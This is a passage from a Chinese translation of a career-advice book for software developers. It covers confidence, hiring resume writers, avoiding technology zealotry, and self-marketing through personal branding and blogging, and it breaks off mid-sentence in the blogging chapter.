这与撒谎混为一谈。我不是建议你向未来的雇主展示自己不具备的技能，声称自己具备尚不具备的能力。相反，我建议你坦率、诚实地面对自己的能力或不足，同时保持“我以前已经克服过那些困难”的心态和姿态，因为你清楚地知道，唯一横亘在“现在的你”和“未来的你”之间的是时间。\n你的自信（注意，并非自大）是富有感染力的。如果你抱有“我可以”的心态，当你真正信任自己，既不夸大其词也不妄自菲薄的时候，知道自己最终能实现心中所想，那么你会发现别人也会对此深信不疑。抱着这种心态走向面试官吧，你会见识到“假装自己能成功”的威力。\n采取行动\n诚实地评估一下自己。面对困境，你的心态如何？当遭遇新问题或不熟悉的问题时，你会怎样做？回想一下，上一次面对困难或者不熟悉的形势时，你是怎么做的？\n你该怎样树立一种自信而不自负的心态？自信与自负之间的区别是什么？为了强化“假装自己能成功”的能力，你现在应该做什么？\n小练习：有目的地将自己置于困境，演练一下自己既定的应对策略。\n[1] 此处原文为“Fake it till you make it”，直译为“在真正成功之前，先装作成功”，这是一种成功心理暗示。——译者注\n第17章 单调乏味的简历——如何修改\n你外出度假的时候，可曾看到过酒店服务台上塞满的五颜六色的介绍本地景点的小册子？你有拿起过其中的一本并翻阅吗？大多数小册子只有三页，全彩印刷，设计精美。毫不夸张地说，这些精心设计的小册子足以让你心甘情愿花上100美元去玩玩帆伞，或者租上一辆水上摩托。\n现在，对照一下普通软件开发人员的简历—— 一种字体，双倍行距，多达五页，语法错误、拼写错误和没有章法的句子随处可见，充斥着“勇于担当”和“结果导向”这些词汇。\n没错，简历和旅游小册子一样，都是广告，最终目的无非就是让人们心甘情愿掏钱—— 一个是让你花上100美元参加度假活动，另一个是让招聘经理掏出6万美元、8万美元或者更高的价钱“租”一个软件开发人员一年。\n典型的简历无法与广告小手册相媲美\n有的人为了卖出去100美元的东西，不惜工本对广告内容精雕细作，有的人却想凭借粗制滥造的广告卖出去要价6万多美元的东西，在我看来这实在是不可思议。现在，别误会我，我可没说你的简历是一堆垃圾，我想说的是，如果你的简历跟大多数软件开发人员的简历一样乏善可陈的话，你得花一点儿功夫。\n你不是专业的“简历写手”\n你的简历如此糟糕，其实另有原因。很简单，你不是专业的简历写手，不以写简历为生。我打包票，那些制作出精美的帆伞广告小册子的姑娘小伙们，是以设计宣传册或其他广告物料为生的。\n也有很多职业拓展的书籍和课程教你怎么写出漂亮的简历。这两种我都不推荐。为什么呢？因为你并不需要成为一名专业的简历写手。在你的职业生涯中，写简历只是少数几次，完全没有必要为此投入许多。同时市场上有成千上万的专业简历写手，他们写出来的简历可能远超你的预期。\n你可以这么想这个问题。你任职的公司的CEO并不会去写软件。当然，他可能会坐在电脑前打开IDE（集成编程环境）学习如何写代码开发出运营公司所需的软件。但是，更合理的是雇你来做这件事。那么，为什么你不去雇一位专业的简历写手，反而要浪费自己的时间去掌握他们的专业技能呢？\n雇一个简历写手\n希望看到这儿的时候我已经说服你了，你需要雇一个专业人士来帮你撰写简历。那么，你该怎么做呢？\n外面有很多专门代写简历的人，在网上搜一下，比比皆是。问题是，挑选哪一个你必须得谨慎。给一个软件开发人员写简历可比给其他行业的人写简历难多了，因为我们的工作中有太多的专业术语和技术名词了（参见表17-1）。（如果你想找一个好的写手，我个人推荐“技术简历服务”，http://simpleprogrammer.com/ss-resumwriter，别忘了报本书的名字。）\n表17-1 怎样寻找靠谱的简历代笔者\n熟悉技术行业\n不能雇一个不知道该如何充分推销你的开发技能的专业简历写手\n可以给你展示简历样本\n想知道你能得到怎样的工作的最好的办法就是，看看简历写手已经写好的简历上的工作\n我得提醒你，优秀的简历写手可不便宜，但是物有所值，毕竟一份赏心悦目的简历可以帮你快速找到一份薪水丰厚的工作。请人代写一份专业的、有品质的简历大概需要花费300～500美元，的确很贵，可是想想看，如果这笔钱只相当于你将来薪水的2%～3%，那你就会很容易决定掏钱了。\n另外，在请一位简历写手之前，你一定要确保准备好了他所需的所有信息。请记住，进去的是垃圾，出来的也是垃圾。你可不想花巨资请人写出来的简历里谬误百出，就因为你懒得找出上一份工作经历的确切日期，或者因为你没有向写手准确地描述你的技能和职责。当你找到一位简历写手的时候，你主要是要请他做两件事情：\n为你的经历做一个文字优美引人入胜的广告，令你看起来光彩照人；\n让这份广告看上去装帧精美，格式赏心悦目。\n你请他们来可不是做研究助理，或者核对你的个人信息的，所以你需要给他们提供尽可能多的信息。他们会把这些信息整理、提炼出来，从而可以高效地把你推向市场。\n地雷：我觉得雇人写简历并不对\n反对我提议的“雇人写简历”的最常见的理由就是这个了。很多人认为雇人写简历这种行为是错误的，带有欺骗性。他们觉得自己的简历就应该自己写才对。我能理解这种观点，我也鼓励你来写自己的简历，但是，雇人写简历跟雇人设计你的网站或者装修你的房子有什么区别呢？事实上，许多名人都聘请枪手为自己写书，然后在作者一栏署上自己的大名。我的观点是，这并不是什么大不了的事（像你认为的那样）。不能因为你一直都觉得开发人员应该自己写简历，就真的应该自己写简历。你不必到处嚷嚷你有专业的简历写手给你写简历。如果你真的觉得不舒服，那么就自己写简历吧，然后雇人“润色润色”。\n比别人多做一点点\n本章的标题明确指出传统的简历非常单调乏味，事实的确如此。虽然常规的简历对于任何希望找到好工作的软件开发人员而言都非常重要，但是它并非向潜在雇主提供相同信息的唯一途径。\n你可以（也应该）把简历中的信息发布到网上。你应该有LinkedIn个人主页，这一主页包含来自简历上的信息，你还应该做一份在线简历，以便能给别人发送简历链接。申请Web开发人员的职位却没有在线简历，就像专业木匠没有自己的专属工具一样。\n简历的格式也值得再三推敲。试着给自己的简历添加点独特的创意，以吸引眼球的形式呈现。你可以使用简历代写服务来生成独特的简历，也可以请专业的平面设计师把简历设计得非常流行。\n我看过一位视频游戏程序员的简历，他的在线简历其实就是一个可以玩的视频游戏（http://simpleprogrammer.com/ss-interactiveresume）。我敢肯定他不难找到工作。http://simpleprogrammer.com/ss-beautiful-resumes上列出了许多漂亮、充满创意的简历，你可以从中得到一些启发。\n对软件开发人员来说，简历不一定要花哨好看，但一份专业的简历非常重要。如果你想对自己十年前写好的充满错误拼写和蹩脚语句的Word文档简历进行一下删减，我建议你三思而行。如果你想找一份新工作，你能做的最好的投资就是写一份专业的简历。\n如果不想雇专业的简历写手该怎么做\n我能理解你还是宁愿自己写简历。也许你还没有准备做这方面投资，或者你觉得这本来就是自己该做的事情。\n如果你选择自己创建简历，表17-2中有一些提示，可能会对你有帮助。\n表17-2 改善简历的提示\n提示\n好处\n把简历放到网上\n确保雇主能够很容易访问你的简历。如果你申请Web开发的职位，这一点尤其重要\n简历要有创意\n简历样式不落俗套，别人一眼扫过去就会被深深吸引\n使用“行动-结果”的描述\n你的简历应该展现你都做了哪些工作及相应的结果。这样你的潜在雇主既能了解你会干什么，还能了解你能取得的成果，以及雇用你会给他们带来的收益\n校对\n即使是聘请专业的简历写手，你也要通篇校对。简历里有错别字或拼写错误会让人觉得你粗心大意\n采取行动\n不管你现在是否正在找工作，把你的简历给一些招聘人员，询问他们的意见。招聘人员看过大量的简历，他们是能告诉你是否需要改进你自己的简历的最佳人选。\n查阅分析一些专业的简历代写服务，看看他们提供的简历样本。与之相比，你自己写的简历如何？\n第18章 请勿陷入对技术的狂热之中\n我不知道你是不是一位有宗教信仰的人。无论你信仰何种宗教，我肯定你会同意我的看法，历史上许多最血腥、最残酷的战争，在某种程度上都是为宗教而战的。\n这里我并非是在抨击宗教，也并非以某种方式表明某种宗教与生俱来的善与恶。我只是希望你能清楚地意识到，恪守教条的信仰往往有很大的煽动性。\n软件开发也是如此。软件开发和技术的虔诚很容易像信仰生命起源或至高无上的神的存在一样。尽管一般我们不会因为某个人喜欢iOS超过Android就杀死他，但是我们确实有一种倾向，总想在没人注意的时候给对方点颜色看看。\n我坚信，如果你能让自己不成为某种技术的信徒，你会在职业生涯之路上走得更远。在本章中，我们将探讨为什么会是这样的情形。\n我们都是技术的信徒\n这是真的，你还是承认这一点吧。你对某种技术或编程语言存在偏见，认为它是最好的——至少大多数程序员是这样的。这很正常。我们总是对自己做的事情充满热情；只要是有激情、有热情，就很容易变得极度感性。来看看职业运动员。\n对技术虔诚的一大问题是，我们中的大多数崇拜某项特定的技术，只是因为自己熟悉这种技术。我们很自然地会相信自己选择的是最好的，然而这会让我们经常忽略任何反对意见。我们不可能充分了解现存的所有技术，从而给“哪项技术最好”作出最英明、最睿智的判断，于是我们倾向于选择我们了解的技术并先入为主地认为它是最好的。人生多艰，无暇他顾。\n尽管这一行为的起因合理又自然，但其实具有破坏性和局限性。当我们武断地只根据自身经验就固执己见时，很容易只与理念相同的人打交道而排斥其他人，最终我们只会固步自封、墨守陈规。我们自以为找到所有答案，却只是裹足不前。\n在我职业生涯的相当长的一段时间里，我都是操作系统、编程语言甚至文本编辑器这些技术的忠实信徒。然后我才逐渐意识到，我没必要只是选择最好的而贬低其他的。\n天生一物必有用\n不是所有的技术都是“伟大的”，但多数被普遍应用的技术至少是“好的”。一样东西如果不好，就不会为人所知或使用，也不会成功。诚然，环境是随着时间而变化的，但重要的是，我们必须认识到：至少在历史的某个时间点，每项技术都被看作是那个时代里“好的”甚至是“伟大的”。\n有了这样的视角会有助于你理解：在很多情况下，解决问题并不只有一个好的或是最好的方法。同理，最好的编程语言、框架、操作系统，甚至是文本编辑器不会只有一种。你可能会喜欢某项技术多过其他，或者用某种编程语言的效率要高过其他，但是称其最好并无必要。\n发生在我身上的转变\n让我自己相信这一点经历了一段漫长的艰难时间。我花了无数时间与人争论为什么Windows比Mac好得多。我为C#和其他静态类型语言大声疾呼，我认为它们可以把Perl或者Ruby这些动态语言甩开几条街。现在我讲起来都有些惭愧，我那时甚至会严厉斥责那些不这么认为的开发人员——他们怎么敢相信那些我都从来不用的技术？\n令我大开眼界的是在我第一次担当一个Java项目的项目组长的时候。在此之前，我一直是.NET开发人员，专注C#语言。（好吧，其实也不尽然。在.NET技术出现以前我是C++的信徒。）我不能容忍用Java语言工作的想法。同优雅的C#相比，Java就是不入流。我甚至都不会使用Lambda表达式，我怎么可能喜欢用Java写代码呢？\n最终我还是决定接受这份工作，因为这个机会实在是太好了，而且我认为这不过就是一个合同，我只要忍上区区一年而已。后来，我才发现，接下那份工作是我在职业生涯中所做出的最杰出的决策之一。使用自己一度厌恶的技术工作，让我从不同的视角审视所有的技术。事实证明，Java一点都不糟糕，我也能够理解为什么有些开发人员喜欢用Java而不用C#。\n在做Java项目的那几年里，我学到的东西比之前工作中学到的都多。突然之间，我有了一个巨大的装满各式工具的工具箱，能用来解决任何问题，我再也不像以前那样死守着少数几个被过度使用的工具。\n从那时起，面对其他编程语言，即使是动态语言，我都会抱有与面对Java时一样的开放心态，使用从中学到的任何知识和技能，使自己成为更好的程序员。我也放弃了对操作系统和框架的偏爱，努力尝试新东西之后再做评价。如果没有这段经历，我可能不会写这本书，又或者，我会写一本《为什么C#是最好的语言，其他语言都糟透了》。\n不拘一格\n不拘一格是本章的要点所在。没有理由去强烈坚持自己选择的技术就是最好的，而轻视甚至无视其他技术。如果固执己见，最终受损失的是你自己。\n另一方面，如果你愿意对技术保持开放的心态，而不是固守自己已经了解的技术，声称它是最好的，你会发现有更多的机会为你敞开大门。\n采取行动\n列出你钟爱的所有技术，或者你觉得更胜一筹的技术。\n针对这张列表里的每一项，想想它为什么吸引你。你都做了哪些比较来确定它确实是“更胜一筹”？你真的使用过它们的竞争对手吗？\n挑选一门你厌恶的技术，找几个喜欢它的人，开诚布公地讨论为什么他们喜欢这门技术。更进一步，你也试着用用它。\n第二篇 自我营销\n营销就是一场争夺人们注意力的竞赛。\n——Seth Godin\n在软件开发行业，营销的名声并不好。一般人提起营销人员都会皱眉头，因为很多营销人员会急功近利地使用不诚信的手段。似乎每天都有无良的营销人员为了一己私利而兜售新骗局。\n其实在现实生活中，营销本身并没有那么糟糕。你的营销手段决定了你的营销对象是受益还是受损。营销需要人们的关注，以便让人们关注你，关注你的产品。优秀的营销会将人们的需要或者期待与能够满足此愿望的产品或服务关联起来。所以，营销追求的是“实现价值在先，要求回报在后”。\n第19章 针对“码农”的营销基础课\n你有去过酒吧夜店看过驻场乐队的演出吗？那些乐队的演唱水平丝毫不亚于原唱的艺术家们。你有没有想过，为什么这些乐队就只能在小小的夜店里做驻唱演出，而有些音乐才华并不比他们高多少的流行乐队就可以在全世界巡回演出，创造着一个又一个白金唱片？\n很明显，两个乐队都很有才华，但是在生活中，仅仅拥有才华是远远不够的。伟大的音乐家和超级巨星之间的真正区别无非就是营销而已。对于有才华的人来说，营销就是一个“乘数效应”——你的营销越好，你的才华才能表现得越发淋漓极致。这就是对于软件开发人员来说，学习营销技能至关重要的原因。\n自我营销意味着什么\n营销的核心在于将一些人所需要的所期待的产品或者服务与产品或服务本身连接起来。所以“自我营销”也就是把希望得到你提供的产品或者服务的人和你自己连接起来。尽管营销经常声誉不佳，但如果你能以正确的方式营销自己并没有错。\n自我营销的正确方式就是为他人提供价值。我们会在第21章对此进行深入的讨论。这里，你需要了解，成功进行自我营销的关键在于：如果想让别人喜欢你，想和你一起工作，你就必须要为他们提供价值。想想看，像Scott Hanselman [1]这样的牛人是怎么做的。Scott通过他自己的博客（http://www.hanselman.com）、演讲和播客为开发人员提供了相当多有价值的东西。在我们进入细节讨论之前，我们先从实践的角度谈谈自我营销是什么。作为一名软件开发人员，你怎样自我营销？\n无论你是否意识到，其实你每时每刻都在营销自己。当你试图说服他人接受你的想法时，本质上，你就是在把自己的想法推销给他们。正如我们在关于人际关系的第4章中讨论过的，我们知道如何包装一个想法往往比想法本身更重要。\n当你申请一份工作时，从本质上讲，你的简历就是推销自己服务的一份广告。甚至于，你在社交媒体或自己的博客上发布的内容（如果你有的话），其实也是在为你自己和你提供的服务和产品在做某种推销。\n问题在于，即使我们都在推销自己，我们中大多数人并不是有意识地在做这件事情。我们将机会拱手相让，任由他人和环境来定义我们。\n自我营销无非就是学习如何控制好自己要传达的信息，塑造好自己的形象，扩展信息送达的人群。当你营销自己的时候，你就是在积极地管理自己的职业生涯，有目的地选择好如何塑造自己，以及将塑造好的自己主动推送给那些对你感兴趣的人。这些人或者想听到你的想法，或者想雇用你，或者想购买你提供的产品或服务。\n想想一部新拍的电影大片是如何策划广告宣传的。通常，各种爆料漫天飞舞在各种广告媒体上。电影预告片描绘了一幅具体且清晰的画面，传达着特定的信息。这一信息又通过各种广告渠道被不断传播放大。\n自我营销为何如此重要\n在本章的第一个例子里我讲到了，音乐才华相当的两支乐队，一支在酒吧驻场而另一支是流行巨星，他们之间的成就差别为何如此悬殊？我将产生这种差异的原因归咎为营销。成就巨大的摇滚乐队通常在营销上要比酒吧驻场乐队做得更好。\n当然，我们无法确定酒吧驻场乐队在“自我营销”方面到底做得怎么样，但是如果我们假设音乐才华都差不得的话，那么排除掉纯粹运气的因素，市场营销就是他们可以控制的因素了。所以，自我营销并不能确保你一定成功，但是它却是你可控的重要元素。\n你也可以在其他领域找到相同的模式。以专业厨师为例，许多才华横溢的厨师烹饪出的菜肴非比寻常，而他们中的大多数人都默默无闻。但是也有像Gordon Ramsay [2]*和Rachel Ray [3]*这样的明星大厨赚得百万美金，这并不是因为他们比别的大厨更有天赋，而是因为他们深谙营销之道，通过营销来充分发挥自己的优势。\n别以为软件开发领域有什么不同。你也许是世界上最有天赋的软件开发人员，但是如果没有人知道你的存在，你也只不过是浮云一片。当然，你总能找到工作，但永远不会发挥出你的全部潜力，除非你能学会“如何自我营销”的技能。\n在你职业生涯的某个时刻，你可能发现自己的技术水平已经能够与顶级开发人员并驾齐驱。其实许多软件开发人员经过大约10年的职业生涯都能达到这个水平。一旦达到这一水平，要想再提升会变得异常困难，因为你已经“泯然众人矣”。你的个人才智已经变得无关紧要，因为与你竞争的软件开发人员水平基本相当。\n但是有一个办法可以让你脱颖而出。学习“如何自我营销”你就能够一鸣惊人，就像摇滚明星或者知名大厨一样，不仅收入更高，还能拥有更多的机会。\n地雷：我真的不是什么专家，我没有什么东西可以营销\n即便你不认为自己是专家，也并不妨碍你现在就开始自我营销。事实上，试图找出自我营销的方法，可以让你成为专家，专门从事某一特定领域的软件开发工作。\n基本上每一个开发人员都是有些能耐的——可能你观察事物的视角比较独特，或者可能你与其他软件开发人员的背景不尽相同，又或者你的兴趣爱好与客户或者其他软件开发人员相似。只要营销得法，即便是“菜鸟”或者“业余爱好者”的身份都是你的优势所在——很多人都喜欢向只比自己稍微优秀一点点的人学习，因为这些人才是可望而又可及的。\n关键是，不要让“不是专家“成为放弃自我营销的借口。无论你身处自己职业生涯的哪个阶段，你都可以从营造和传播自己的品牌中获益匪浅。\n如何自我营销\n我希望我已经让你相信自我营销至关重要，现在你可能想知道该如何自我营销呢？你怎样才能成为软件开发界的Gordon Ramsay？\n我不会骗你说这很容易。成功从来就不是一蹴而就的，那样即使“成功”也无法长久。但是，“自我营销”确实是每一个开发人员都能做得到的——“天下事有难易乎？为之，则难者亦易矣”。在这里我将扼要介绍一下所有的关键概念，在下面的章节中，我们会一个接一个地详细论述。\n自我营销要从打造能代表你自己的个人品牌做起。你不可能将所有的东西全部呈现出来，因此，对于自己成为怎样的人、给世界呈现怎样的形象，你要谨慎决定。如果你也想在有人多次接触你或者你的产品时营造出一种亲切感，个人品牌能帮到你。\n一旦你拥有了自己的品牌风格，也知道要传达怎样的信息，你就需要找到传达上述信息的方式。尽管有多种媒介可供你使用，但对于软件开发人员，最突出也是我个人推荐的还是博客。我认为博客就是你在互联网上的大本营。这是一个你完全能够控制信息的地方，不像在其他的平台上你还要仰人鼻息。\n我当时采用了Pat Flynn（http://www.smartpassiveincome.com/）的策略。Pat是我非常推崇的企业家，他有一个策略叫做“无处不在”。该策略的基本思想就是，无论你身在何处都要营销。无论何时都要让你的目标受众轻轻一扫就有机会看到你。你可能会出现在他们的Twitter时间线上，他们也可能在听你的播客，又或者他们看到了你的在线视频。他们目光所及，总能与你相遇。\n表19-1展示了一些可供选择的自我营销的方式。\n表19-1 自我营销的方式\n方式\n描述\n博客 播客 视频 给杂志投稿 书籍 代码营 技术会议\n你自己的博客，以及你在别人的博客上发表的特邀文章 创建自己的播客频道，同时接受其他播客频道的访谈 在YouTube这样的视频网站上上传自己的分享内容和课程主题视频 给软件开发相关的杂志写文章 著书或者自出版 大多数代码营都允许参加者自由发言 拓展社交网络的好方法，如果能在研讨会上发言尤佳\n这个策略需要时间，需要持之以恒。随着时间的推移，你写的每一篇博客，你采访的每一期播客，还有你写下的每一本书、每一篇文章，都有助于营销自己，提升你的个人品牌的认知度。最终你在这个领域就成为了权威，拥有了追随者。这些声望转化为更好的机会，最终成就你的事业。\n我在前面提到过，将在后续章节中更深入地讨论这个话题。这里，我想强调的是：所有这一切都取决于你的能力——能给其他人带来怎样的价值。自我营销的基本机制是，要想让人们追随你、倾听你，你就要带给他们价值：你能为他们的问题提供答案，甚至是给他们带去欢乐。如果你在持续自我提升的同时并没有给他人带来价值，那么你终究不会走得太远，因为每个人都会离你而去。\n采取行动\n如果你还没有博客，开通一个吧。想想看，你会专注在哪些主题上？\n给你的新博客至少想出20篇文章。\n现在做一个时间表，列出你开通博客的确切时间，为博客创建内容。\n[1] Scott Hanselman（斯科特·汉塞尔曼），业界知名的Web技术专家，曾担任在线金融系统提供商Corillian的首席架构师，目前在微软工作。以上这段描述摘自他的个人博客http://www.hanselman.com/blog/AboutMe.aspx。另外，斯科特还为本书作序。——译者注\n[2] Gordon Ramsay（戈登·拉姆齐），出生于格拉斯哥，堪称英国乃至世界的顶级厨神，因其在各种名人烹饪节目的粗鲁与严格，以及追求完美的风格，而被媒体称为“地狱厨师”。以上摘自必应搜索。——译者注\n[3] Rachel Ray（蕾切尔·雷），出生于纽约，美国电视名人、商人、名厨和作者。她主持了3个美食系列电视节目——《30分钟大餐》《蕾切尔·雷美味游记》和《一天40美元》，还推出了推出一本美食杂志《蕾切尔·雷的每一天》。在2006年，雷的电视节目赢得了3个艾美奖。以上摘自维基百科。——译者注\n第20章 打造引人注目的品牌\n品牌无处不在。无论身在何处，你总能看到百事、麦当劳、星巴克、惠普、微软……不胜枚举。\n品牌不仅仅是形象。大多数人会把品牌与商标联系起来，比如说，麦当劳那个著名的“金色拱门”商标。但品牌不只是商标，更是一项承诺。品牌树立了客户对你的期望，而且这些期望也必须能够实现。\n在本章中，我们将讨论构成品牌的要素有哪些。我还将展示怎样创建自己的品牌，从而让你的营销成果引人注目。\n什么是品牌\n我们来谈一谈当今的流行品牌吧。我们以星巴克为例。星巴克是一个为大众所熟知的知名品牌，第一眼看上去，那个众所周知的商标图案似乎就是“星巴克”的品牌，但事实远非如此。星巴克的商标图案只是其品牌的视觉符号而已，并非品牌本身。\n当你走进星巴克的时候，你希望看到什么、听到什么？你期望光线是什么样的？你期望的室内陈设和家具又是什么样的？现在你不妨闭上眼睛想想星巴克的店内布局，你的感觉又如何？\n当你走向柜台点一杯饮品的时候，你期望咖啡师的形象是什么样的？你期望咖啡师通过什么方式和你打招呼并问你哪些问题？你熟悉他们的菜单吗？你对他们的定价和饮品的品质有预期吗？\n现在，你明白了，品牌并不只是商标。品牌是对产品或服务的一整套预期。商标仅仅是品牌的视觉符号而已。品牌的关键并不在于视觉元素，而是品牌带给你的感受，是你与品牌互动时的预期。品牌即承诺：承诺按照你预期的方式交付你所预期的价值。\n构成品牌的要素有哪些\n要打造一个品牌，你需要四个要素——品牌所要传递的信息、品牌的视觉符号、品牌的一致性和品牌的曝光率。要构建成功的品牌，这四大要素缺一不可。我们将逐个介绍，以便让你了解如何使用这些概念来打造个人品牌。\n品牌的四要素\n首先，而且也是最重要的，就是品牌所传递的信息。缺乏信息的品牌也就没有了目的性。信息就是你想传达的，以及品牌所承载的情感诉求。在你创立个人品牌时，你需要一条能代表品牌的核心信息。你的品牌是干什么的？你是干什么的？例如，我的个人品牌Simple Programmer（简单程序员）是围绕着“化繁为简”这个信息做文章：我把各种复杂的概念分解后，转化为人人可以理解的简单概念。\n其次，品牌需要视觉符号。尽管视觉符号不是品牌本身，但它对品牌非常重要。显而易见，一个品牌应该有一个标识，即能够代表品牌的简单的视觉符号。好的品牌会让自己的视觉符号无处不在。一套能够代表品牌的色彩和风格有助于提升品牌辨识度，加速品牌信息的传播。\n即使你用自己的名字作为品牌，你也可以为它创建个出众的标识。我的好朋友John Papa就是绝佳的典范。如果浏览他的博客（http://johnpapa.net），你会看到他用自己的名字设计了一个标识。\n再者，品牌要有一致性。品牌所包含的信息、品牌的视觉形象固然非常重要，但是一旦失去了一致性，就无法构建品牌认知度，或者更糟，你在不断地背离品牌。假设你走进了麦当劳，结果每个地方的菜单和价格都不一样，麦当劳的品牌价值将会消失殆尽。在你走进麦当劳的时候，你对自己的体验是有预期的。如果这种体验一直在变，不能保持一致，那品牌也就变得毫无意义。\n许多开发人员在创立个人品牌的时候都犯了缺乏一致性的错误。他们要么不能传递一致的信息，要么在传递信息的方式上缺乏一致性。个人品牌的一致性越强，就越能被更多人关注，也更容易被记住。\n最后一个要素——品牌曝光度。假设其他三个要素你做得都很好，但有的人只见过一次你的品牌，对你也没有太多意义。即使你的标识再好看、再吸引眼球，但人们只能看到一次，对你而言又有何用？品牌的核心在于建立一套预期，在人们看到你的标识或听到你的名字的时候，他们就能马上知道你是谁、你代表着什么。\n通过写博客、写文章、发表演讲、创建视频分享、做播客内容等一切手段，你需要竭尽所能传播你的信息，扩大你的知名度。你的品牌传播的频率越高、传播的范围越广，目标人群记住它的概率才会越高，你被人们记住的概率才会越大。\n创建属于自己的品牌\n当你着手创建自己的专属品牌时，第一步就是要定义你想传达的信息。要想明确品牌所要传递的信息，你需要决定自己希望呈现什么。你不可能覆盖所有人群，因此需要缩小自己的受众范围，选择自己的细分市场。这与第7章提及的专业化概念非常相近。基本上，你需要选择一个规模更小的目标市场，或者非常符合你的品牌的独特领域。\n在这方面我最佩服的软件开发人员之一当属Marcie Robillard，又名“数据报表女孩”（DataGrid Girl）。Marcie选择ASP.NET DataGrid（数据报表）控件为其细分市场，并以“数据报表女孩”作为自己的品牌来推广。这一细分市场非常窄但又充分聚焦，非常适合她。她做了很多次演讲，也在.NET Rocks这样的流行播客频道上传内容。我敢肯定，她还占据了关于ASP.NET DataGrid控件话题的大量搜索流量。\n选择某个细分市场，然后以它为核心建立你的品牌，越有针对性越好。如果能充分聚焦，你就可以直接向受众传达信息，也能更轻松地建立品牌的认知度。\n确定细分市场并非易事。你可以选择最令自己有激情的领域，然而激情可能会随着时间消退。通常，从战略角度出发是做出决策的最佳方式。在开拓某个细分市场的时候，你有何优势？花点儿时间想一想。如果需要更换细分市场，也不要犹豫。\n创建品牌的步骤\n明确要传达的品牌信息。\n挑选细分市场。\n创建品牌口号。\n创建电梯内销售概要[1]。\n创建视觉符号（即标识）。\n一旦你确定了自己的细分市场，就可以打磨要传达的信息了。你也需要创建一个口号，言简意赅地描述自己的品牌。例如，我的口号就是“化繁为简”。看到我的这句口号的人能迅速理解我是做什么的。\n接下来，你应该创建所谓“电梯内销售概要”。电梯内销售概要是一段能够快速描述你是谁、能做什么的宣传文字，乘坐电梯的工夫就可以浏览完毕。想想在晚宴上，或者就在电梯里，当有人问起来“你是做什么的”的时候你该怎样回答人家。\n为了打造你的“电梯内销售概要”，你得好好想想自己能提供什么价值。你有哪些独一无二的特质？大家可以预期从你这里获得什么？在你的“电梯内销售概要”里你一定要讲明你是做什么的、你能带来的独特价值是什么。\n有了这个经过深思熟虑的“电梯内销售概要”，将会保证你与自己的品牌保持一致，并能够保证在与他人谈及自己的品牌时，你一直传递着相同的信息，或者不论你使用何种媒介推广个人品牌，你都在呈现自己的品牌。\n只有在明确了自己品牌的核心内容之后，你才可以创建品牌的视觉符号。你创建的视觉符号应该代表目前为止你为自己的品牌所定义的一切。视觉符号有助于传递品牌信息，并作为你的品牌所代表的视觉提示。\n你没有必要花一大笔钱为自己的品牌设计视觉符号，但我也不建议你自己做这件事，除非你具有出色的图形设计能力。我为自己的多个产品和服务创建了品牌，借助我个人非常喜欢的服务Fiverr（http://simpleprogrammer.com/ss-fiverr），我以每个5美元的价格搞定了其中几个品牌的标识。能以如此低价获得如此服务，着实令人吃惊。你也可以使用oDesk（http://simpleprogrammer.com/ss-odesk）这样的服务，找自由职业者来为你搞定这项工作。我已经成功使用这两种方法以低廉的价格完成了标识设计和其他设计工作。\n大致的过程就是这样。如果你在前期花了些时间创建了一个清晰、一致的品牌，并且这个品牌高度聚焦在某个细分领域、承载着经过深思熟虑的信息，你就会在竞争中遥遥领先。但就像我之前说的，只有品牌信息和视觉标识是远远不够的。你需要坚持提升品牌的一致性和曝光率来打造一个有影响力的品牌。在接下来的几章中我们将一起了解如何给品牌增加一致性，以及如何通过博客、社交网络、演讲以及其他各种媒介传播品牌信息。\n采取行动\n列出一些你熟悉的流行品牌，选择1～2个进行深入研究，试着确定一下这些品牌传递的信息是什么，看看它们是如何使用商标和其他视觉元素来传达该信息的。\n使用头脑风暴的方法为自己的个人品牌列出细分想法。先列出至少10～15个想法，然后再缩小到2～3个，最后选定一个作为你的个人品牌。\n[1] “电梯内销售概要”是指用两到三句话概括一个产品、一个提案或一个项目，向潜在的买家或赞助人做介绍。以上摘自百度百科。——译者注\n第21章 创建大获成功的博客\n作为一名软件开发人员，可以用来推销自己的最佳媒介之一就是博客。我坚信每一个在乎自己职业生涯的软件开发人员都应该投资创建一个博客。\n使用面对面的直接交往方式，你只能遇到有限的人，所以你需要另一种方式来推销自己，拓展自己的社交圈子。想想自己在过去的一年里认识了多少技术行业的专才。这一数字可能接近几百甚至上千，然而一个成功的博客能让数十万人认识你。\n博客是推销自己的一种既廉价又简单的方式，对于让自己声名鹊起极具价值。成功的博客每天能够吸引数百甚至数千的访客，这可以给你带来很多机会，从工作岗位到咨询项目，甚至是产品销售的目标客户。\n坦白地讲，我职业生涯的大部分成功要归功于我的博客。如果我没有创建一个博客并且使它成功，你也不可能读到这本书。\n为什么博客如此重要\n当你申请一份工作的时候，你的简历通常大概只有两页的篇幅。当你接受面试的时候，你通常会跟面试官聊上一两个小时。以如此简短的简历和如此短暂的面试来评估一名软件开发人员的技能非常困难，所以雇主以此判定某个人是否适合某个工作岗位也颇具难度。\n然而试想一下，如果一位软件开发人员拥有一个定期更新的博客会怎么样。他的博客可能包含了丰富的相关信息，包括代码示例，还有对软件开发各个方面的深入分析。与任何其他方式相比，阅读一位软件开发人员的博客能让我对他了解更多。\n即便这是创建并维护博客的唯一理由，这理由也足够了。但并非仅仅如此。拥有博客不仅能帮你找到一份不错的工作，还能让你成为更好的软件开发人员和传道者，能带给你许多意想不到的机会。\n想想那些技术牛人，像Scott Hanselman、Bob Martin大叔，还有Kent Beck，他们都有博客。\n如果你是一名自由职业者，或者你有兴趣做兼职（参见第12章），你会发现，一个成功的博客可以给你带来很多客户，比你自己不得不外出找到的客户多得多。自己主动上门的客户，更愿意付你更高的薪酬，也更容易给你工作。\n如果你博客的流量足够大，你可以把它作为推销自己产品的平台（参见第13章）。如果有稳定的博客访问用户，那你不妨围绕他们的兴趣开发产品，将流量直接转化为客户。\n不要忘记一个成功的博客为你带来的业界声望。许多著名的软件开发人员直接靠成功的博客赢得口碑。Jeff Atwood是个绝佳范例。他是Stack Overflow和Stack Exchange的创始人之一。他的博客“Coding Horror”（代码的荣耀，http://codinghorror.com）大获成功，收获了大量受众，直接促成了Stack Overflow的成功。他的博客也让他认识了自己的搭档——另一位成功的博主Joel 